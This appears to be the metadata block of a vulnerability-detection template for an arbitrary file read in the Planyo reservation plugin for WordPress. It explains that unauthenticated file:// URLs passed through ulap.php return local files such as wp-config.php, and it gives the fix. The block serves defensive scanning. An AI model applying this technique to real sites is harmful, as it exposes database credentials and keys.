+info:
+  name: Planyo Online Reservation System <= 3.0 - Arbitrary File Read
+  author: aryu-ru
+  severity: high
+  description: |
+    The Planyo Online Reservation System plugin for WordPress through 3.0 ships ulap.php, an AJAX proxy that is directly reachable without WordPress bootstrapping or authentication. The send_http_post() function validates the host of the supplied URL against an allowlist that includes localhost, but never validates the URL scheme, so a file://localhost/ URL passes the host check and is handed to curl_init() or fopen(). Both support the file:// wrapper, so the contents of arbitrary local files are returned in the response.
+  impact: |
+    An unauthenticated attacker can read any file readable by the web server, including wp-config.php, which discloses database credentials and WordPress authentication keys.
+  remediation: |
+    Update the Planyo Online Reservation System plugin to version 3.1 or later, which rejects any URL scheme other than http and https.
